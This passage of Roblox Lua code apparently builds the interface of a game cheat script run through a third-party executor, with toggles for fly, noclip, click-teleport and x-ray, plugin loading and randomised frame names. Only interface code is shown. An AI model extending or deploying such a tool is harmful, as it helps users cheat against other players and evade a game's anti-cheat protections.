723Add_2.FontSize = Enum.FontSize.Size18
724Add_2.Text = "Add"
725Add_2.TextColor3 = Color3.new(1, 1, 1)
726Add_2.TextStrokeTransparency = 0
727
728Cmdbar_2.Name = "Cmdbar"
729Cmdbar_2.Parent = background_2
730Cmdbar_2.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
731Cmdbar_2.BackgroundTransparency = 0.5
732Cmdbar_2.BorderSizePixel = 0
733Cmdbar_2.Position = UDim2.new(0, 150, 0, 20)
734Cmdbar_2.Size = UDim2.new(0, 150, 0, 20)
735Cmdbar_2.Font = Enum.Font.SourceSans
736Cmdbar_2.FontSize = Enum.FontSize.Size18
737Cmdbar_2.Text = "Command"
738Cmdbar_2.TextColor3 = Color3.new(1, 1, 1)
739Cmdbar_2.TextScaled = true
740Cmdbar_2.TextStrokeTransparency = 0
741Cmdbar_2.TextWrapped = true
742
743Toggles.Name = "Toggles"
744Toggles.Parent = background_2
745Toggles.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
746Toggles.BackgroundTransparency = 1
747Toggles.BorderSizePixel = 0
748Toggles.Position = UDim2.new(0, 150, 0, 50)
749Toggles.Size = UDim2.new(0, 200, 0, 120)
750Toggles.BottomImage = "rbxasset://textures/blackBkg_square.png"
751Toggles.CanvasSize = UDim2.new(0, 0, 0, 0)
752Toggles.MidImage = "rbxasset://textures/blackBkg_square.png"
753Toggles.ScrollBarThickness = 8
754Toggles.TopImage = "rbxasset://textures/blackBkg_square.png"
755
756Fly.Name = "Fly"
757Fly.Parent = Toggles
758Fly.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
759Fly.BackgroundTransparency = 0.5
760Fly.BorderSizePixel = 0
761Fly.Size = UDim2.new(0, 200, 0, 20)
762Fly.Font = Enum.Font.SourceSans
763Fly.FontSize = Enum.FontSize.Size14
764Fly.Text = " Toggle Fly"
765Fly.TextColor3 = Color3.new(1, 1, 1)
766Fly.TextXAlignment = Enum.TextXAlignment.Left
767
768Select_3.Name = "Select"
769Select_3.Parent = Fly
770Select_3.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
771Select_3.BorderSizePixel = 0
772Select_3.Position = UDim2.new(0, 160, 0, 0)
773Select_3.Size = UDim2.new(0, 40, 0, 20)
774Select_3.Font = Enum.Font.SourceSans
775Select_3.FontSize = Enum.FontSize.Size14
776Select_3.Text = "Add"
777Select_3.TextColor3 = Color3.new(0, 0, 0)
778
779Noclip.Name = "Noclip"
780Noclip.Parent = Toggles
781Noclip.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
782Noclip.BackgroundTransparency = 0.5
783Noclip.BorderSizePixel = 0
784Noclip.Position = UDim2.new(0, 0, 0, 25)
785Noclip.Size = UDim2.new(0, 200, 0, 20)
786Noclip.Font = Enum.Font.SourceSans
787Noclip.FontSize = Enum.FontSize.Size14
788Noclip.Text = " Toggle Noclip"
789Noclip.TextColor3 = Color3.new(1, 1, 1)
790Noclip.TextXAlignment = Enum.TextXAlignment.Left
791
792Select_4.Name = "Select"
793Select_4.Parent = Noclip
794Select_4.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
795Select_4.BorderSizePixel = 0
796Select_4.Position = UDim2.new(0, 160, 0, 0)
797Select_4.Size = UDim2.new(0, 40, 0, 20)
798Select_4.Font = Enum.Font.SourceSans
799Select_4.FontSize = Enum.FontSize.Size14
800Select_4.Text = "Add"
801Select_4.TextColor3 = Color3.new(0, 0, 0)
802
803Float.Name = "Float"
804Float.Parent = Toggles
805Float.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
806Float.BackgroundTransparency = 0.5
807Float.BorderSizePixel = 0
808Float.Position = UDim2.new(0, 0, 0, 50)
809Float.Size = UDim2.new(0, 200, 0, 20)
810Float.Font = Enum.Font.SourceSans
811Float.FontSize = Enum.FontSize.Size14
812Float.Text = " Toggle Float"
813Float.TextColor3 = Color3.new(1, 1, 1)
814Float.TextXAlignment = Enum.TextXAlignment.Left
815
816Select_5.Name = "Select"
817Select_5.Parent = Float
818Select_5.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
819Select_5.BorderSizePixel = 0
820Select_5.Position = UDim2.new(0, 160, 0, 0)
821Select_5.Size = UDim2.new(0, 40, 0, 20)
822Select_5.Font = Enum.Font.SourceSans
823Select_5.FontSize = Enum.FontSize.Size14
824Select_5.Text = "Add"
825Select_5.TextColor3 = Color3.new(0, 0, 0)
826
827ClickTP.Name = "Click TP"
828ClickTP.Parent = Toggles
829ClickTP.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
830ClickTP.BackgroundTransparency = 0.5
831ClickTP.BorderSizePixel = 0
832ClickTP.Position = UDim2.new(0, 0, 0, 75)
833ClickTP.Size = UDim2.new(0, 200, 0, 20)
834ClickTP.Font = Enum.Font.SourceSans
835ClickTP.FontSize = Enum.FontSize.Size14
836ClickTP.Text = " Click TP (Hold Key & Click)"
837ClickTP.TextColor3 = Color3.new(1, 1, 1)
838ClickTP.TextXAlignment = Enum.TextXAlignment.Left
839
840Select_6.Name = "Select"
841Select_6.Parent = ClickTP
842Select_6.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
843Select_6.BorderSizePixel = 0
844Select_6.Position = UDim2.new(0, 160, 0, 0)
845Select_6.Size = UDim2.new(0, 40, 0, 20)
846Select_6.Font = Enum.Font.SourceSans
847Select_6.FontSize = Enum.FontSize.Size14
848Select_6.Text = "Add"
849Select_6.TextColor3 = Color3.new(0, 0, 0)
850
851Xray.Name = "Xray"
852Xray.Parent = Toggles
853Xray.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
854Xray.BackgroundTransparency = 0.5
855Xray.BorderSizePixel = 0
856Xray.Position = UDim2.new(0, 0, 0, 100)
857Xray.Size = UDim2.new(0, 200, 0, 20)
858Xray.Font = Enum.Font.SourceSans
859Xray.FontSize = Enum.FontSize.Size14
860Xray.Text = " Toggle Xray"
861Xray.TextColor3 = Color3.new(1, 1, 1)
862Xray.TextXAlignment = Enum.TextXAlignment.Left
863
864Select_10.Name = "Select"
865Select_10.Parent = Xray
866Select_10.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
867Select_10.BorderSizePixel = 0
868Select_10.Position = UDim2.new(0, 160, 0, 0)
869Select_10.Size = UDim2.new(0, 40, 0, 20)
870Select_10.Font = Enum.Font.SourceSans
871Select_10.FontSize = Enum.FontSize.Size14
872Select_10.Text = "Add"
873Select_10.TextColor3 = Color3.new(0, 0, 0)
874
875Dark_7.Name = "Dark"
876Dark_7.Parent = background_2
877Dark_7.Active = true
878Dark_7.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
879Dark_7.BackgroundTransparency = 0.5
880Dark_7.BorderSizePixel = 0
881Dark_7.Size = UDim2.new(0, 360, 0, 5)
882
883shadow_2.Name = "shadow"
884shadow_2.Parent = KeybindEditor
885shadow_2.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
886shadow_2.BorderColor3 = Color3.new(0, 0, 0)
887shadow_2.BorderSizePixel = 0
888shadow_2.Size = UDim2.new(0, 360, 0, 20)
889shadow_2.ZIndex = 4
890
891PopupText_2.Name = "PopupText"
892PopupText_2.Parent = shadow_2
893PopupText_2.BackgroundTransparency = 1
894PopupText_2.Position = UDim2.new(0, 51, 0, 0)
895PopupText_2.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
896PopupText_2.ZIndex = 4
897PopupText_2.Font = Enum.Font.SourceSans
898PopupText_2.TextSize = 20
899PopupText_2.Text = "Set Keybinds"
900PopupText_2.TextColor3 = Color3.new(1, 1, 1)
901PopupText_2.TextStrokeTransparency = 0
902PopupText_2.TextWrapped = true
903
904Exit_2.Name = "Exit"
905Exit_2.Parent = shadow_2
906Exit_2.BackgroundColor3 = Color3.new(1, 1, 1)
907Exit_2.BackgroundTransparency = 1
908Exit_2.Size = UDim2.new(0, 20, 0, 20)
909Exit_2.ZIndex = 4
910Exit_2.Image = "rbxassetid://2132544126"
911
912SpawnCEditor.Name = randomString()
913SpawnCEditor.Parent = PARENT
914SpawnCEditor.Active = true
915SpawnCEditor.BackgroundColor3 = Color3.new(1, 1, 1)
916SpawnCEditor.BackgroundTransparency = 1
917SpawnCEditor.Position = UDim2.new(0.5, -180, 0, -400)
918SpawnCEditor.Size = UDim2.new(0, 360, 0, 20)
919SpawnCEditor.ZIndex = 4
920
921background_4.Name = "background"
922background_4.Parent = SpawnCEditor
923background_4.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
924background_4.BorderSizePixel = 0
925background_4.Position = UDim2.new(0, 0, 0, 20)
926background_4.Size = UDim2.new(0, 360, 0, 75)
927
928Cmdbar_3.Name = "Cmdbar"
929Cmdbar_3.Parent = background_4
930Cmdbar_3.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
931Cmdbar_3.BackgroundTransparency = 0.5
932Cmdbar_3.BorderSizePixel = 0
933Cmdbar_3.Position = UDim2.new(0, 150, 0, 45)
934Cmdbar_3.Size = UDim2.new(0, 150, 0, 20)
935Cmdbar_3.Font = Enum.Font.SourceSans
936Cmdbar_3.FontSize = Enum.FontSize.Size18
937Cmdbar_3.Text = "Command"
938Cmdbar_3.TextColor3 = Color3.new(1, 1, 1)
939Cmdbar_3.TextScaled = true
940Cmdbar_3.TextStrokeTransparency = 0
941Cmdbar_3.TextWrapped = true
942
943Dark_10.Name = "Dark"
944Dark_10.Parent = background_4
945Dark_10.Active = true
946Dark_10.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
947Dark_10.BackgroundTransparency = 0.5
948Dark_10.BorderSizePixel = 0
949Dark_10.Size = UDim2.new(0, 360, 0, 5)
950
951Add_5.Name = "Add"
952Add_5.Parent = background_4
953Add_5.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
954Add_5.BackgroundTransparency = 0.5
955Add_5.BorderSizePixel = 0
956Add_5.Position = UDim2.new(0, 310, 0, 45)
957Add_5.Size = UDim2.new(0, 40, 0, 20)
958Add_5.Font = Enum.Font.SourceSans
959Add_5.FontSize = Enum.FontSize.Size18
960Add_5.Text = "Add"
961Add_5.TextColor3 = Color3.new(1, 1, 1)
962Add_5.TextStrokeTransparency = 0
963
964DelayNum.Name = "DelayNum"
965DelayNum.Parent = background_4
966DelayNum.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
967DelayNum.BackgroundTransparency = 0.5
968DelayNum.BorderSizePixel = 0
969DelayNum.Position = UDim2.new(0, 310, 0, 15)
970DelayNum.Size = UDim2.new(0, 40, 0, 20)
971DelayNum.Font = Enum.Font.SourceSans
972DelayNum.FontSize = Enum.FontSize.Size18
973DelayNum.Text = "0"
974DelayNum.TextColor3 = Color3.new(1, 1, 1)
975DelayNum.TextScaled = true
976DelayNum.TextStrokeTransparency = 0
977DelayNum.TextWrapped = true
978
979Delay.Name = "Delay"
980Delay.Parent = background_4
981Delay.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
982Delay.BackgroundTransparency = 1
983Delay.BorderSizePixel = 0
984Delay.Position = UDim2.new(0, 150, 0, 15)
985Delay.Size = UDim2.new(0, 150, 0, 20)
986Delay.Font = Enum.Font.SourceSansBold
987Delay.FontSize = Enum.FontSize.Size14
988Delay.Text = "Delay (seconds) (0 for none)"
989Delay.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
990Delay.TextStrokeTransparency = 0
991Delay.TextWrapped = true
992
993Directions_3.Name = "Directions"
994Directions_3.Parent = background_4
995Directions_3.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
996Directions_3.BackgroundTransparency = 1
997Directions_3.BorderSizePixel = 0
998Directions_3.Position = UDim2.new(0, 20, 0, 10)
999Directions_3.Size = UDim2.new(0, 98, 0, 60)
1000Directions_3.Font = Enum.Font.SourceSansBold
1001Directions_3.FontSize = Enum.FontSize.Size14
1002Directions_3.Text = "Spawn commands automatically get executed when you spawn."
1003Directions_3.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
1004Directions_3.TextStrokeTransparency = 0
1005Directions_3.TextWrapped = true
1006Directions_3.TextYAlignment = Enum.TextYAlignment.Top
1007
1008Dark_11.Name = "Dark"
1009Dark_11.Parent = background_4
1010Dark_11.Active = true
1011Dark_11.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1012Dark_11.BackgroundTransparency = 0.5
1013Dark_11.BorderSizePixel = 0
1014Dark_11.Position = UDim2.new(0.377777785, 0, 0.0666666701, 0)
1015Dark_11.Size = UDim2.new(0, 5, 0, 70)
1016
1017shadow_4.Name = "shadow"
1018shadow_4.Parent = SpawnCEditor
1019shadow_4.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1020shadow_4.BorderColor3 = Color3.new(0, 0, 0)
1021shadow_4.BorderSizePixel = 0
1022shadow_4.Size = UDim2.new(0, 360, 0, 20)
1023shadow_4.ZIndex = 4
1024
1025PopupText_4.Name = "PopupText"
1026PopupText_4.Parent = shadow_4
1027PopupText_4.BackgroundTransparency = 1
1028PopupText_4.Position = UDim2.new(0, 51, 0, 0)
1029PopupText_4.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
1030PopupText_4.ZIndex = 4
1031PopupText_4.Font = Enum.Font.SourceSans
1032PopupText_4.TextSize = 20
1033PopupText_4.Text = "Set Spawn Commands"
1034PopupText_4.TextColor3 = Color3.new(1, 1, 1)
1035PopupText_4.TextStrokeTransparency = 0
1036PopupText_4.TextWrapped = true
1037
1038Exit_4.Name = "Exit"
1039Exit_4.Parent = shadow_4
1040Exit_4.BackgroundColor3 = Color3.new(1, 1, 1)
1041Exit_4.BackgroundTransparency = 1
1042Exit_4.Size = UDim2.new(0, 20, 0, 20)
1043Exit_4.ZIndex = 4
1044Exit_4.Image = "rbxassetid://2132544126"
1045
1046PositionsFrame.Name = "PositionsFrame"
1047PositionsFrame.Parent = Settings
1048PositionsFrame.Active = true
1049PositionsFrame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1050PositionsFrame.BorderSizePixel = 0
1051PositionsFrame.Size = UDim2.new(0, 250, 0, 175)
1052PositionsFrame.Position = UDim2.new(0, 0, 0, 175)
1053
1054Close_3.Name = "Close"
1055Close_3.Parent = PositionsFrame
1056Close_3.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1057Close_3.BorderSizePixel = 0
1058Close_3.Position = UDim2.new(0, 205, 0, 150)
1059Close_3.Size = UDim2.new(0, 40, 0, 20)
1060Close_3.Font = Enum.Font.SourceSans
1061Close_3.FontSize = Enum.FontSize.Size14
1062Close_3.Text = "Close"
1063Close_3.TextColor3 = Color3.new(0, 0, 0)
1064
1065Delete_5.Name = "Delete"
1066Delete_5.Parent = PositionsFrame
1067Delete_5.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1068Delete_5.BorderSizePixel = 0
1069Delete_5.Position = UDim2.new(0, 50, 0, 150)
1070Delete_5.Size = UDim2.new(0, 40, 0, 20)
1071Delete_5.Font = Enum.Font.SourceSans
1072Delete_5.FontSize = Enum.FontSize.Size14
1073Delete_5.Text = "Clear"
1074Delete_5.TextColor3 = Color3.new(0, 0, 0)
1075
1076Part.Name = "PartGoto"
1077Part.Parent = PositionsFrame
1078Part.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1079Part.BorderSizePixel = 0
1080Part.Position = UDim2.new(0, 5, 0, 150)
1081Part.Size = UDim2.new(0, 40, 0, 20)
1082Part.Font = Enum.Font.SourceSans
1083Part.FontSize = Enum.FontSize.Size14
1084Part.Text = "Part"
1085Part.TextColor3 = Color3.new(0, 0, 0)
1086
1087Holder_4.Name = "Holder"
1088Holder_4.Parent = PositionsFrame
1089Holder_4.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1090Holder_4.BackgroundTransparency = 1
1091Holder_4.BorderSizePixel = 0
1092Holder_4.Position = UDim2.new(0, 0, 0, 0)
1093Holder_4.Selectable = false
1094Holder_4.Size = UDim2.new(0, 250, 0, 145)
1095Holder_4.BottomImage = "rbxasset://textures/blackBkg_square.png"
1096Holder_4.CanvasSize = UDim2.new(0, 0, 0, 0)
1097Holder_4.MidImage = "rbxasset://textures/blackBkg_square.png"
1098Holder_4.ScrollBarThickness = 8
1099Holder_4.TopImage = "rbxasset://textures/blackBkg_square.png"
1100
1101Example_4.Name = "Example"
1102Example_4.Parent = PositionsFrame
1103Example_4.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1104Example_4.BackgroundTransparency = 0.5
1105Example_4.BorderSizePixel = 0
1106Example_4.Size = UDim2.new(0, 10, 0, 20)
1107Example_4.Visible = false
1108Example_4.Position = UDim2.new(0, 0, 0, -5)
1109
1110Text_5.Name = "Text"
1111Text_5.Parent = Example_4
1112Text_5.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1113Text_5.BackgroundTransparency = 0.5
1114Text_5.BorderSizePixel = 0
1115Text_5.Position = UDim2.new(0, 10, 0, 0)
1116Text_5.Size = UDim2.new(0, 240, 0, 20)
1117Text_5.Font = Enum.Font.SourceSans
1118Text_5.FontSize = Enum.FontSize.Size14
1119Text_5.Text = "Position"
1120Text_5.TextColor3 = Color3.new(1, 1, 1)
1121Text_5.TextXAlignment = Enum.TextXAlignment.Left
1122
1123Delete_6.Name = "Delete"
1124Delete_6.Parent = Text_5
1125Delete_6.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1126Delete_6.BorderSizePixel = 0
1127Delete_6.Position = UDim2.new(0, 200, 0, 0)
1128Delete_6.Size = UDim2.new(0, 40, 0, 20)
1129Delete_6.Font = Enum.Font.SourceSans
1130Delete_6.FontSize = Enum.FontSize.Size14
1131Delete_6.Text = "Delete"
1132Delete_6.TextColor3 = Color3.new(0, 0, 0)
1133
1134TP.Name = "TP"
1135TP.Parent = Text_5
1136TP.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1137TP.BorderSizePixel = 0
1138TP.Position = UDim2.new(0, 155, 0, 0)
1139TP.Size = UDim2.new(0, 40, 0, 20)
1140TP.Font = Enum.Font.SourceSans
1141TP.FontSize = Enum.FontSize.Size14
1142TP.Text = "Goto"
1143TP.TextColor3 = Color3.new(0, 0, 0)
1144
1145AliasesFrame.Name = "AliasesFrame"
1146AliasesFrame.Parent = Settings
1147AliasesFrame.Active = true
1148AliasesFrame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1149AliasesFrame.BorderSizePixel = 0
1150AliasesFrame.Position = UDim2.new(0, 0, 0, 175)
1151AliasesFrame.Size = UDim2.new(0, 250, 0, 175)
1152
1153Close_2.Name = "Close"
1154Close_2.Parent = AliasesFrame
1155Close_2.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1156Close_2.BorderSizePixel = 0
1157Close_2.Position = UDim2.new(0, 205, 0, 150)
1158Close_2.Size = UDim2.new(0, 40, 0, 20)
1159Close_2.Font = Enum.Font.SourceSans
1160Close_2.FontSize = Enum.FontSize.Size14
1161Close_2.Text = "Close"
1162Close_2.TextColor3 = Color3.new(0, 0, 0)
1163
1164Delete_3.Name = "Delete"
1165Delete_3.Parent = AliasesFrame
1166Delete_3.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1167Delete_3.BorderSizePixel = 0
1168Delete_3.Position = UDim2.new(0, 5, 0, 150)
1169Delete_3.Size = UDim2.new(0, 40, 0, 20)
1170Delete_3.Font = Enum.Font.SourceSans
1171Delete_3.FontSize = Enum.FontSize.Size14
1172Delete_3.Text = "Clear"
1173Delete_3.TextColor3 = Color3.new(0, 0, 0)
1174
1175Holder_3.Name = "Holder"
1176Holder_3.Parent = AliasesFrame
1177Holder_3.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1178Holder_3.BackgroundTransparency = 1
1179Holder_3.BorderSizePixel = 0
1180Holder_3.Position = UDim2.new(0, 0, 0, 0)
1181Holder_3.Size = UDim2.new(0, 250, 0, 145)
1182Holder_3.BottomImage = "rbxasset://textures/blackBkg_square.png"
1183Holder_3.CanvasSize = UDim2.new(0, 0, 0, 0)
1184Holder_3.MidImage = "rbxasset://textures/blackBkg_square.png"
1185Holder_3.ScrollBarThickness = 0
1186Holder_3.TopImage = "rbxasset://textures/blackBkg_square.png"
1187
1188Example_3.Name = "Example"
1189Example_3.Parent = AliasesFrame
1190Example_3.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1191Example_3.BackgroundTransparency = 0.5
1192Example_3.BorderSizePixel = 0
1193Example_3.Size = UDim2.new(0, 10, 0, 20)
1194Example_3.Visible = false
1195
1196Text_4.Name = "Text"
1197Text_4.Parent = Example_3
1198Text_4.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1199Text_4.BackgroundTransparency = 0.5
1200Text_4.BorderSizePixel = 0
1201Text_4.Position = UDim2.new(0, 10, 0, 0)
1202Text_4.Size = UDim2.new(0, 240, 0, 20)
1203Text_4.Font = Enum.Font.SourceSans
1204Text_4.FontSize = Enum.FontSize.Size14
1205Text_4.Text = "honk"
1206Text_4.TextColor3 = Color3.new(1, 1, 1)
1207Text_4.TextXAlignment = Enum.TextXAlignment.Left
1208
1209Delete_4.Name = "Delete"
1210Delete_4.Parent = Text_4
1211Delete_4.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1212Delete_4.BorderSizePixel = 0
1213Delete_4.Position = UDim2.new(0, 200, 0, 0)
1214Delete_4.Size = UDim2.new(0, 40, 0, 20)
1215Delete_4.Font = Enum.Font.SourceSans
1216Delete_4.FontSize = Enum.FontSize.Size14
1217Delete_4.Text = "Delete"
1218Delete_4.TextColor3 = Color3.new(0, 0, 0)
1219
1220PluginsFrame.Name = "PluginsFrame"
1221PluginsFrame.Parent = Settings
1222PluginsFrame.Active = true
1223PluginsFrame.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1224PluginsFrame.BorderSizePixel = 0
1225PluginsFrame.Position = UDim2.new(0, 0, 0, 175)
1226PluginsFrame.Size = UDim2.new(0, 250, 0, 175)
1227
1228Close_4.Name = "Close"
1229Close_4.Parent = PluginsFrame
1230Close_4.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1231Close_4.BorderSizePixel = 0
1232Close_4.Position = UDim2.new(0, 205, 0, 150)
1233Close_4.Size = UDim2.new(0, 40, 0, 20)
1234Close_4.Font = Enum.Font.SourceSans
1235Close_4.FontSize = Enum.FontSize.Size14
1236Close_4.Text = "Close"
1237Close_4.TextColor3 = Color3.new(0, 0, 0)
1238
1239Add_3.Name = "Add"
1240Add_3.Parent = PluginsFrame
1241Add_3.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1242Add_3.BorderSizePixel = 0
1243Add_3.Position = UDim2.new(0, 5, 0, 150)
1244Add_3.Size = UDim2.new(0, 40, 0, 20)
1245Add_3.Font = Enum.Font.SourceSans
1246Add_3.FontSize = Enum.FontSize.Size14
1247Add_3.Text = "Add"
1248Add_3.TextColor3 = Color3.new(0, 0, 0)
1249
1250Holder_5.Name = "Holder"
1251Holder_5.Parent = PluginsFrame
1252Holder_5.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1253Holder_5.BackgroundTransparency = 1
1254Holder_5.BorderColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1255Holder_5.BorderSizePixel = 0
1256Holder_5.Position = UDim2.new(0, 0, 0, 0)
1257Holder_5.Selectable = false
1258Holder_5.Size = UDim2.new(0, 250, 0, 140)
1259Holder_5.BottomImage = "rbxasset://textures/blackBkg_square.png"
1260Holder_5.CanvasSize = UDim2.new(0, 0, 0, 0)
1261Holder_5.MidImage = "rbxasset://textures/blackBkg_square.png"
1262Holder_5.ScrollBarThickness = 0
1263Holder_5.TopImage = "rbxasset://textures/blackBkg_square.png"
1264
1265Example_5.Name = "Example"
1266Example_5.Parent = PluginsFrame
1267Example_5.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1268Example_5.BackgroundTransparency = 0.5
1269Example_5.BorderSizePixel = 0
1270Example_5.Size = UDim2.new(0, 10, 0, 20)
1271Example_5.Visible = false
1272
1273Text_6.Name = "Text"
1274Text_6.Parent = Example_5
1275Text_6.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1276Text_6.BackgroundTransparency = 0.5
1277Text_6.BorderSizePixel = 0
1278Text_6.Position = UDim2.new(0, 10, 0, 0)
1279Text_6.Size = UDim2.new(0, 240, 0, 20)
1280Text_6.Font = Enum.Font.SourceSans
1281Text_6.FontSize = Enum.FontSize.Size14
1282Text_6.Text = "F4 > Toggle Fly"
1283Text_6.TextColor3 = Color3.new(1, 1, 1)
1284Text_6.TextXAlignment = Enum.TextXAlignment.Left
1285
1286Delete_7.Name = "Delete"
1287Delete_7.Parent = Text_6
1288Delete_7.BackgroundColor3 = Color3.new(0.439216, 0.439216, 0.439216)
1289Delete_7.BorderSizePixel = 0
1290Delete_7.Position = UDim2.new(0, 200, 0, 0)
1291Delete_7.Size = UDim2.new(0, 40, 0, 20)
1292Delete_7.Font = Enum.Font.SourceSans
1293Delete_7.FontSize = Enum.FontSize.Size14
1294Delete_7.Text = "Delete"
1295Delete_7.TextColor3 = Color3.new(0, 0, 0)
1296
1297PluginEditor.Name = randomString()
1298PluginEditor.Parent = PARENT
1299PluginEditor.Active = true
1300PluginEditor.BackgroundColor3 = Color3.new(1, 1, 1)
1301PluginEditor.BackgroundTransparency = 1
1302PluginEditor.Position = UDim2.new(0.5, -180, 0, -400)
1303PluginEditor.Size = UDim2.new(0, 360, 0, 20)
1304PluginEditor.ZIndex = 4
1305
1306background_3.Name = "background"
1307background_3.Parent = PluginEditor
1308background_3.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569)
1309background_3.BorderSizePixel = 0
1310background_3.Position = UDim2.new(0, 0, 0, 20)
1311background_3.Size = UDim2.new(0, 360, 0, 160)
1312
1313Dark_8.Name = "Dark"
1314Dark_8.Parent = background_3
1315Dark_8.Active = true
1316Dark_8.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1317Dark_8.BackgroundTransparency = 0.5
1318Dark_8.BorderSizePixel = 0
1319Dark_8.Size = UDim2.new(0, 360, 0, 5)
1320
1321Dark_9.Name = "Dark"
1322Dark_9.Parent = background_3
1323Dark_9.Active = true
1324Dark_9.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1325Dark_9.BackgroundTransparency = 0.5
1326Dark_9.BorderSizePixel = 0
1327Dark_9.Position = UDim2.new(0, 220, 0, 5)
1328Dark_9.Size = UDim2.new(0, 5, 0, 155)
1329
1330Img.Name = "Img"
1331Img.Parent = background_3
1332Img.BackgroundColor3 = Color3.new(1, 1, 1)
1333Img.BackgroundTransparency = 1
1334Img.Position = UDim2.new(0, 242, 0, 3)
1335Img.Size = UDim2.new(0, 100, 0, 95)
1336Img.Image = "rbxassetid://4113050383"
1337
1338AddPlugin.Name = "AddPlugin"
1339AddPlugin.Parent = background_3
1340AddPlugin.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1341AddPlugin.BackgroundTransparency = 0.5
1342AddPlugin.BorderSizePixel = 0
1343AddPlugin.Position = UDim2.new(0, 235, 0, 100)
1344AddPlugin.Size = UDim2.new(0, 115, 0, 50)
1345AddPlugin.Font = Enum.Font.SourceSans
1346AddPlugin.FontSize = Enum.FontSize.Size18
1347AddPlugin.Text = "Add Plugin"
1348AddPlugin.TextColor3 = Color3.new(1, 1, 1)
1349AddPlugin.TextStrokeTransparency = 0
1350
1351FileName.Name = "FileName"
1352FileName.Parent = background_3
1353FileName.BackgroundColor3 = Color3.new(0.364706, 0.364706, 0.364706)
1354FileName.BackgroundTransparency = 0.5
1355FileName.BorderSizePixel = 0
1356FileName.Position = UDim2.new(0.027777778, 0, 0.625, 0)
1357FileName.Size = UDim2.new(0, 200, 0, 50)
1358FileName.Font = Enum.Font.SourceSans
1359FileName.FontSize = Enum.FontSize.Size18
1360FileName.Text = "Plugin File Name"
1361FileName.TextColor3 = Color3.new(1, 1, 1)
1362FileName.TextStrokeTransparency = 0
1363
1364About.Name = "About"
1365About.Parent = background_3
1366About.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1367About.BackgroundTransparency = 1
1368About.BorderSizePixel = 0
1369About.Position = UDim2.new(0, 17, 0, 17)
1370About.Size = UDim2.new(0, 187, 0, 49)
1371About.Font = Enum.Font.SourceSansBold
1372About.FontSize = Enum.FontSize.Size14
1373About.Text = "Plugins are .iy files and should be located in the 'workspace' folder of your exploit."
1374About.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
1375About.TextStrokeTransparency = 0
1376About.TextWrapped = true
1377About.TextYAlignment = Enum.TextYAlignment.Top
1378
1379Directions_2.Name = "Directions"
1380Directions_2.Parent = background_3
1381Directions_2.BackgroundColor3 = Color3.new(0.0666667, 0.0666667, 0.0666667)
1382Directions_2.BackgroundTransparency = 1
1383Directions_2.BorderSizePixel = 0
1384Directions_2.Position = UDim2.new(0, 17, 0, 66)
1385Directions_2.Size = UDim2.new(0, 187, 0, 49)
1386Directions_2.Font = Enum.Font.SourceSansBold
1387Directions_2.FontSize = Enum.FontSize.Size14
1388Directions_2.Text = "Type the name of the plugin file you want to add below."
1389Directions_2.TextColor3 = Color3.new(0.972549, 0.972549, 0.972549)
1390Directions_2.TextStrokeTransparency = 0
1391Directions_2.TextWrapped = true
1392Directions_2.TextYAlignment = Enum.TextYAlignment.Top
1393
1394shadow_3.Name = "shadow"
